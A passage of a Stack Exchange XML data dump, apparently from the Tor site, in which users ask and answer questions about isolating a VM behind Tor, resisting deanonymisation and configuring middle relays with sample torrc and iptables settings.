  <row Id="330" PostTypeId="1" AcceptedAnswerId="332" CreationDate="2013-10-04T15:43:25.040" Score="54" ViewCount="63620" Body="&lt;p&gt;Running normal applications has the problem that any remote code execution vulnerability in the application totally compromises the user. This isn't just a theoretical attack, a vulnerability in Firefox was used to &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-current-events-and-freedom-hosting&quot;&gt;compromise visitors of hidden services hosted by Freedom Hosting&lt;/a&gt; in August 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One obvious way to contain this is sand-boxing the application in a virtual machine. Nothing inside the virtual machine, not even the OS should be able to bypass Tor. This obviously implies running Tor outside the virtual machine so this limitation cannot be bypassed by malicious software running inside the virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a natural and secure way to run Tor, so I was surprised to not find any standard bundle (some virtual machine software configured to use Tor together with a specialized Linux or BSD distribution, like &lt;a href=&quot;http://en.wikipedia.org/wiki/The_Amnesic_Incognito_Live_System&quot;&gt;Tails&lt;/a&gt;) that works this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to configure a virtual machine that can only communicate with the outside through Tor?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="288" LastEditDate="2013-10-30T17:16:59.077" LastActivityDate="2021-04-07T20:02:45.380" Title="Running a virtual machine (VM) that can only connect through Tor" Tags="|virtual-machine|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="331" PostTypeId="1" AcceptedAnswerId="341" CreationDate="2013-10-04T15:46:03.647" Score="9" ViewCount="584" Body="&lt;p&gt;Given the &lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document#document/p8&quot;&gt;latest revelations about GCHQ's methods to de-anonymise Tor users&lt;/a&gt;, how can I keep myself safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the document:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We will never be able to de-anonymize all Tor users all the time [but] with manual analysis we can de-anonymize a very small fraction of Tor users&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-08T06:55:03.493" Title="How can I protect myself against GCHQ's attempts to de-anonymise me?" Tags="|deanonymization|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostTypeId="2" ParentId="330" CreationDate="2013-10-04T16:10:53.237" Score="15" Body="&lt;p&gt;Have you considered using &lt;a href=&quot;https://www.whonix.org/&quot;&gt;Whonix&lt;/a&gt;? It comprises two virtual machines, one of which is a gateway and the other a workstation. You work as normal on the workstation, with every network request being funnelled through the gateway and hence through Tor.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="71" LastEditDate="2014-02-08T19:25:02.110" LastActivityDate="2014-02-08T19:25:02.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostTypeId="2" ParentId="330" CreationDate="2013-10-04T16:48:39.637" Score="39" Body="&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;noreferrer&quot;&gt;Tails&lt;/a&gt; is a live Linux operating system that routes all traffic through Tor. Tails can handle many use cases well and is the way to go if you need to &lt;a href=&quot;https://tor.stackexchange.com/questions/100/can-tor-be-used-with-applications-other-than-web-browsers&quot;&gt;torify applications&lt;/a&gt; apart from your browser. Please take a look at Tails first, understand its features and threat model before you advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Remember the Tor Project suggests only two ways to use Tor: Tor Browser and Tails.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you explicitly need a way to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;route all traffic through Tor&lt;/li&gt;&#xA;&lt;li&gt;have Tor running in another machine&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;then Tails may not fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, to implement this you will need two machines: the first machine will run Tor and will serve as a router. The second machine will be able to connect only to the first and thus every connection will be routed through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scheme is implemented from &lt;a href=&quot;https://www.whonix.org/wiki/About&quot; rel=&quot;noreferrer&quot;&gt;Whonix Anonymous Operation System&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whonix is divided into two parts: Whonix-Workstation for your work and Whonix-Gateway for automatically routing all Internet traffic through Tor. This is security by isolation, and it averts many threats posed by malware, misbehaving applications, and user error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Apart from Whonix, you could implement something yourself. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run Tor in machine A (say it's a &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian&quot; rel=&quot;noreferrer&quot;&gt;Debian&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a virtual interface on machine A, with a private &lt;a href=&quot;http://en.wikipedia.org/wiki/IP_address&quot; rel=&quot;noreferrer&quot;&gt;IP address&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File &lt;code&gt;/etc/network/interfaces&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto vnet0&#xA;iface vnet0 inet static&#xA;    address 10.0.0.1&#xA;    netmask 255.255.255.0&#xA;    bridge_ports none&#xA;    bridge_maxwait 0&#xA;    bridge_fd 1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the virtual machine B, configure its interface in bridge mode with the vnet0 interface of machine A. Set a static IP address, for example, 10.0.0.2 and as gateway the private IP address of machine A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a script in machine A that will do all the &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_address_translation&quot; rel=&quot;noreferrer&quot;&gt;NAT&lt;/a&gt; routing with &lt;a href=&quot;http://en.wikipedia.org/wiki/Iptables&quot; rel=&quot;noreferrer&quot;&gt;iptables&lt;/a&gt;. You will need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -F&#xA;iptables -t nat -F&#xA;iptables -t nat -I POSTROUTING -s 10.0.0.0/24 -j MASQUERADE&#xA;iptables -t nat -A PREROUTING -i vnet0 -p udp --dport 53 -j REDIRECT --to-ports 53&#xA;iptables -t nat -A PREROUTING -i vnet0 -p tcp --syn -j REDIRECT --to-ports 9040&#xA;iptables -t nat -A PREROUTING -i vnet0 -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally you should make sure that 10.0.0.1 on machine A will use Tor, so in torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 10.0.0.1&#xA;DNSPort 53&#xA;DNSListenAddress 10.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is to get a rough picture and there should be various other aspects that you should handle with care. For example, running a non Tor-Browser browser in the isolated machine will distinguish you from other Tor users, so that may harm your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-30T17:17:59.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostTypeId="2" ParentId="327" CreationDate="2013-10-04T17:07:06.213" Score="6" Body="&lt;p&gt;There's no point to running multiple instances on a single machine. In fact, it's dangerous. If you fail to set &lt;code&gt;family&lt;/code&gt; properly, and the IP's you've got are on different sub-nets (or the user has their &lt;code&gt;torrc&lt;/code&gt; configured to allow multiple nodes on the same sub-net for some reason), it's possible (though not likely) that a user would build a circuit using two of your relays. Now anyone who gains access to your box controlls multiple hops. None of this is likely, but that doesn't mean you should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just set up a single node and make sure it's allowed to use all the bandwidth you want it to. You can make a single instance listen on multiple IP's by setting multiple &lt;code&gt;SocksListenAddress&lt;/code&gt;'es in your &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-05T18:48:44.410" LastActivityDate="2013-10-05T18:48:44.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="335" PostTypeId="1" CreationDate="2013-10-04T17:41:51.617" Score="10" ViewCount="360" Body="&lt;p&gt;If I run a Tor relay in a machine and at the same time I use the same instance as a Tor client, would that harm my anonymity ? Would it be better to use different Tor instances on the same machine?  Are there other implications ?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="923" LastEditDate="2014-03-02T22:37:33.447" LastActivityDate="2014-03-02T22:37:33.447" Title="Would running Tor client and Tor relay simultaneously harm my anonymity?" Tags="|relays|anonymity|client|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="336" PostTypeId="2" ParentId="203" CreationDate="2013-10-04T17:42:42.640" Score="2" Body="&lt;p&gt;My guess is that if you're somewhere where Mallory is targeting Tor users, things like deep packet inspect (DPI) will identify Tor users. The fewer Tor users there are, the more they stick out. One reason why everyone should use Tor to diversify the traffic and provide cover.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2013-10-04T17:42:42.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="337" PostTypeId="2" ParentId="335" CreationDate="2013-10-04T17:59:05.347" Score="6" Body="&lt;p&gt;No, it won't hurt your anonymity and there are no other implications (unless you're severely bandwidth or CPU constrained). Obviously running a relay requires a bit more bandwidth and Tor can be a bit of a CPU hog but any semi-modern processor should be able to handle the extra load fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that running a public relay does let people know that you have Tor installed (not necessarily that you're using it). But anyone observing your traffic knows that anyways unless you're taking other measures to prevent that (eg. trying to disguise your traffic using one of the obfuscation bundles). This isn't really an issue (and not something Tor tries to protect against by default), but it's something to bear in mind.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-10-04T17:59:05.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostTypeId="2" ParentId="335" CreationDate="2013-10-04T18:03:23.757" Score="1" Body="&lt;p&gt;It would not decrease your anonymity to run a Tor instance as a relay, while you are using it for your own purposes.  It's possible that doing so would even &lt;em&gt;increase&lt;/em&gt; your anonymity, since it would be more difficult to analyze your traffic patterns and timing patterns, which are two things that Tor does not hide very well from a sophisticated attacker.  The reason for this is that the attacker may have trouble distinguishing your traffic from relayed traffic.  Keep in mind, however, that this only works if your relay is being actively used by other Tor users.  You can see this in Vidalia by clicking on Bandwidth Graph and observing the bandwidth usage while you are not using Tor for anything.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-10-04T18:03:23.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostTypeId="1" CreationDate="2013-10-04T18:38:34.797" Score="11" ViewCount="656" Body="&lt;p&gt;What do there revelations mean for us?&#xA;&lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity&quot;&gt;http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-05-16T03:18:36.973" Title="What does NSA's attempt to deannonymize Tor mean for the average Tor user?" Tags="|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostTypeId="2" ParentId="203" CreationDate="2013-10-04T18:43:02.623" Score="4" Body="&lt;p&gt;If you're connecting directly, then your network observer(s) can see that you're connecting to Tor network. And if you're the only Tor user in that network, the observer(s) can point you out. Although, --&lt;em&gt;assuming you're using the most recent version Tor Browser Bundle&lt;/em&gt;-- they still won't have a clue about your activities inside Tor network (e.g. browsing a website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the more people use Tor, the harder it is for them to tell who's who.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the fact that you're a Tor user, You should either use (unpublished) bridges or &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-05T02:34:10.590" LastActivityDate="2013-10-05T02:34:10.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="341" PostTypeId="2" ParentId="331" CreationDate="2013-10-04T18:43:33.307" Score="7" Body="&lt;p&gt;Deanonymization can happen in three ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You write or do something through Tor that can be linked to your real-life identity. For example, you tell people on Tor that you're in a certain time zone, country, or city.&lt;/li&gt;&#xA;&lt;li&gt;The browser you are using with Tor is leaking information or can be exploited to leak information. For example, you are using the same browser for Tor that you were using for non-Tor activities, and you didn't clear the cookies. The cookies are tied to your IP address, and are sent back across Tor.  Another example would be a browser exploit that reads your IP address and reports it back across Tor, or across the non-Tor Internet.&lt;/li&gt;&#xA;&lt;li&gt;There is traffic or timing analysis on your Tor usage.  For example, an attacker sees that connections to a certain website using a certain account from a Tor exit node always happen at a certain time of day.  The attacker observes that there are connections to Tor from a certain home computer at the same times of day, and this is observed for long enough to establish a strong connection.  The attacker can conclude that the website connections are from that home computer.  This is a timing attack.  For an example of a traffic analysis attack, suppose you are downloading a large file on Tor with a high bandwidth Tor circuit.  That high bandwidth usage may stand out to an attacker who can observe the connections of both your computer and the exit node you are using.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can mitigate #1 by developing good habits and discipline when using Tor, saying as little as possible over Tor, and using completely standard non-idiosyncratic English for those times when you must say something; in other words, you want to be as &quot;average&quot; a user as possible.  You can mitigate #2 by only using Tor with an up to date Tor Browser Bundle or, even better, only using Tor from an up to date &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;noreferrer&quot;&gt;Tails&lt;/a&gt; or &lt;a href=&quot;http://dee.su/liberte&quot; rel=&quot;noreferrer&quot;&gt;Liberté&lt;/a&gt;, and at a coffee shop or somewhere you can get Internet not tied to your real identity (you will have to reboot to use these).  You can mitigate #3 by using Tor as little as possible.&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="149" LastEditDate="2013-10-08T06:55:03.493" LastActivityDate="2013-10-08T06:55:03.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="342" PostTypeId="2" ParentId="339" CreationDate="2013-10-04T21:47:21.280" Score="1" Body="&lt;p&gt;My understanding of that article is summarized nicely by this paragraph (from the same article):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The very feature that makes Tor a powerful anonymity service, and the fact that all Tor users look alike on the internet, makes it easy to differentiate Tor users from other web users. On the other hand, the anonymity provided by Tor makes it impossible for the NSA to know who the user is, or whether or not the user is in the US.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, it is easy for any packet-sniffer to be able to tell Tor traffic from regular traffic. They can also analyze the traffic data easily over http and &lt;a href=&quot;http://www.nytimes.com/2013/09/06/us/nsa-foils-much-internet-encryption.html&quot; rel=&quot;nofollow&quot;&gt;not-so-easily over https&lt;/a&gt;. But they should not be able to tell &lt;em&gt;who&lt;/em&gt; is on either side of the communication.&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-10-04T21:47:21.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostTypeId="1" AcceptedAnswerId="738" CreationDate="2013-10-04T23:29:06.837" Score="5" ViewCount="9090" Body="&lt;p&gt;Is there any &lt;strong&gt;&lt;em&gt;bridge&lt;/em&gt;&lt;/strong&gt; beetwen &lt;strong&gt;Tor&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Freenet&quot; rel=&quot;nofollow&quot;&gt;Freenet&lt;/a&gt;&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to bridge Freenet site like a Tor hidden service ( onion domain )?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. setting up site in Freenet network means, that this site splitted like a slices of garlic among many unknown users of Freenet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up hidden service in Tor network, means that it will be reached with onion's multi-layer encryption routing, &lt;strong&gt;only&lt;/strong&gt;. There is &lt;strong&gt;&lt;em&gt;point of failure&lt;/em&gt;&lt;/strong&gt; similar to ordinary Internet - &lt;strong&gt;&lt;em&gt;one physical server&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there way to setting up Freenet's hidden site, that will be reached via .onion domain from Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain at once &lt;a href=&quot;https://en.wikipedia.org/wiki/Freenet#Distributed_storage_and_caching_of_data&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;garlic's&lt;/strong&gt; fragmentation&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;onion's&lt;/strong&gt; routing&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-10-05T07:57:17.787" LastActivityDate="2016-11-10T09:38:16.203" Title="Is there any bridge beetwen Tor and Freenet? Is there way to bridge Freenet site like a Tor hidden service?" Tags="|onion-services|bridge|onion-routing|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="344" PostTypeId="2" ParentId="327" CreationDate="2013-10-05T00:33:54.547" Score="13" Body="&lt;p&gt;Install Tor &lt;a href=&quot;http://packages.debian.org/squeeze/amd64/tor/filelist&quot; rel=&quot;nofollow noreferrer&quot;&gt;package&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# apt-get install -y tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Create different data dirs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# mkdir /usr/local/var/lib/tor{1,2,3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Create as many as you want(have different IP Addresses) different configuration files:&lt;/p&gt;&#xA;&lt;p&gt;For example 3:&lt;/p&gt;&#xA;&lt;p&gt;1st&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat &amp;gt; /usr/local/etc/torrc1 &amp;lt;&amp;lt; EOF&#xA;SocksPort 9051&#xA;Log notice file /usr/local/var/log/tor/notices1.log&#xA;RunAsDaemon 1&#xA;DataDirectory /usr/local/var/lib/tor1&#xA;ControlPort 9061&#xA;ORPort 9001&#xA;ORListenAddress 1.1.1.1:9001&#xA;Nickname relay1&#xA;ContactInfo anonymous1 anonymous@mail.com&#xA;DirPort 9031&#xA;DirListenAddress 1.1.1.1:9031&#xA;ExitPolicy reject *:*&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;2nd&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat &amp;gt; /usr/local/etc/torrc2 &amp;lt;&amp;lt; EOF&#xA;SocksPort 9052&#xA;Log notice file /usr/local/var/log/tor/notices2.log&#xA;RunAsDaemon 1&#xA;DataDirectory /usr/local/var/lib/tor2&#xA;ControlPort 9062&#xA;ORPort 9002&#xA;ORListenAddress 2.2.2.2:9002&#xA;Nickname relay2&#xA;ContactInfo anonymous2 anonymous@mail.com&#xA;DirPort 9032&#xA;DirListenAddress 2.2.2.2:9032&#xA;ExitPolicy reject *:*&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;3rd&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat &amp;gt; /usr/local/etc/torrc3 &amp;lt;&amp;lt; EOF&#xA;SocksPort 9053&#xA;Log notice file /usr/local/var/log/tor/notices3.log&#xA;RunAsDaemon 1&#xA;DataDirectory /usr/local/var/lib/tor3&#xA;ControlPort 9063&#xA;ORPort 9003&#xA;ORListenAddress 3.3.3.3:9003&#xA;Nickname relay3&#xA;ContactInfo anonymous3 anonymous@mail.com&#xA;DirPort 9033&#xA;DirListenAddress 3.3.3.3:9033&#xA;ExitPolicy reject *:*&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There after just start three instance of tor with this config files as arguments:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# /usr/sbin/tor -f /usr/local/etc/torrc1&#xA;# /usr/sbin/tor -f /usr/local/etc/torrc2&#xA;# /usr/sbin/tor -f /usr/local/etc/torrc3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Watch logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# tail -F /usr/local/var/log/tor/notices?.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Don't forget to open on firewall six ports:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# for port in `seq 9001 9003` `seq 9031 9033` ; do iptables -I INPUT -p tcp --dport $port -m state --state NEW -s 0.0.0.0/0 -j ACCEPT ; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can start Tor instance as different &lt;strong&gt;Users&lt;/strong&gt;, don't forget to change permissions on &lt;strong&gt;DataDirectories&lt;/strong&gt; and log files. Moreover, if you have fast bandwidth on even one of your network interfaces ( more than 50-100 mb/s ), you may try to wrap one tor client into another tor relay, read this &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#Transparentlyanonymizingtrafficforaspecificuser&quot; rel=&quot;nofollow noreferrer&quot;&gt;doc&lt;/a&gt;, simply start inner instance as the transparently specific &lt;strong&gt;user&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="-1" LastEditDate="2020-08-18T18:44:59.787" LastActivityDate="2020-08-18T18:44:59.787" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="345" PostTypeId="2" ParentId="206" CreationDate="2013-10-05T01:20:50.327" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However I don't own big servers and also don't want to run a relay&#xA;  from my home.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably, if you already use Tor from your home, and you have an external IP address, or may do port forwarding for a web server, you can easy help Tor with a &lt;strong&gt;middle relay&lt;/strong&gt;, not an exit relay. This is simpler than even deploying a web mirror.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, your relay will not be banned by Google or any other companies who dislike Tor exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat &amp;gt; /usr/local/etc/tor/torrc &amp;lt;&amp;lt; EOF&#xA;SocksPort 9050&#xA;Log notice file /usr/local/var/log/tor/notices.log&#xA;RunAsDaemon 1&#xA;DataDirectory /usr/local/var/lib/tor&#xA;ControlPort 9051&#xA;ORPort 9001&#xA;Nickname relay&#xA;RelayBandwidthRate  1 MB&#xA;RelayBandwidthBurst 5 MB&#xA;ContactInfo anonymous anonymous@mail.com&#xA;DirPort 9030&#xA;ExitPolicy reject *:*&#xA;EOF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can specify the relay bandwidth to gain optimal speed for your connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitPolicy reject *:*&lt;/code&gt; - set your relay as a middle in the Tor network. That way you increase the &lt;strong&gt;&lt;em&gt;security&lt;/em&gt;&lt;/strong&gt; of Tor network. In my humble opinion, &lt;strong&gt;&lt;em&gt;this is the best way to help the Tor project&lt;/em&gt;&lt;/strong&gt;, if you only have an Internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start your relay with this configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# tor -f /usr/local/etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="270" LastEditorUserId="288" LastEditDate="2013-10-31T19:24:36.427" LastActivityDate="2013-10-31T19:24:36.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostTypeId="2" ParentId="203" CreationDate="2013-10-05T01:44:05.480" Score="0" Body="&lt;p&gt;You question may sounds like: &quot;Does my bitcoin hashrate depends on the number of Bitcoin users around me?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sOxvr.jpg&quot; alt=&quot;bitcoin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion routing translate your requests through random points over the whole of the Earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can observe Tor map &lt;a href=&quot;http://hackertarget.com/tor-exit-node-visualization/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may ask: &quot;Does &lt;strong&gt;attention&lt;/strong&gt; to me from &lt;a href=&quot;https://en.wikipedia.org/wiki/Category:Signals_intelligence_agencies&quot; rel=&quot;nofollow noreferrer&quot;&gt;special services&lt;/a&gt; depend on the number of Tor users around me?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two unpretty answers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You are in the Niger, there is nobody know what exactly Internet is.&#xA;Probably. kind of Niger's signal intelligence would mark you as a terrorist number one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are in the Europe, amount of Tor users highly great. There are at minimum about 4 legendary signal intelligence agencies united by Interpol. You are on the West side of the World. NSA, FBI, CIA too for you. Looks like again you being marked as someone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-10-05T01:56:53.500" LastActivityDate="2013-10-05T01:56:53.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="347" PostTypeId="2" ParentId="153" CreationDate="2013-10-05T03:13:48.557" Score="2" Body="&lt;p&gt;Probably you are looking for this &lt;a href=&quot;http://hackertarget.com/tor-exit-node-visualization/&quot; rel=&quot;nofollow noreferrer&quot;&gt;map&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkCH8.png&quot; alt=&quot;http://hackertarget.com/googlemaps/tor-node-exits-concentration.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Internet service providers from the chart are the top 25 with the&#xA;  highest concentrations of Tor exit nodes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use every time a middle hop: VPN or VPS or even free socks5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Japanese's project for anonymous vpn: &lt;a href=&quot;http://www.vpngate.net/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.vpngate.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-10-15T07:23:00.523" LastActivityDate="2013-10-15T07:23:00.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostTypeId="2" ParentId="78" CreationDate="2013-10-05T04:32:57.643" Score="2" Body="&lt;p&gt;There are alot of places where sources of Tor may be found, e.g. &lt;a href=&quot;https://github.com/nextgens/Tor&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must remember that Tor is not a panacea and moreover, you must know how to use other software. There are great amount of projects which embed Tor in-self, e.g. &lt;a href=&quot;http://torbrowser.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;yet another torbrowser&lt;/a&gt;, &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails LiveCD&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve torproject.org via free socks5 proxy or free vpn, e.g. &lt;a href=&quot;http://www.vpngate.net/en/&quot; rel=&quot;nofollow&quot;&gt;vpngate.net&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many distributives of Linux you can get binary package of Tor and often sources too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu / Debian-based:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# apt-get install -y tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fedora / OpenSUSE / CentOS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# yum install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gentoo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# emerge 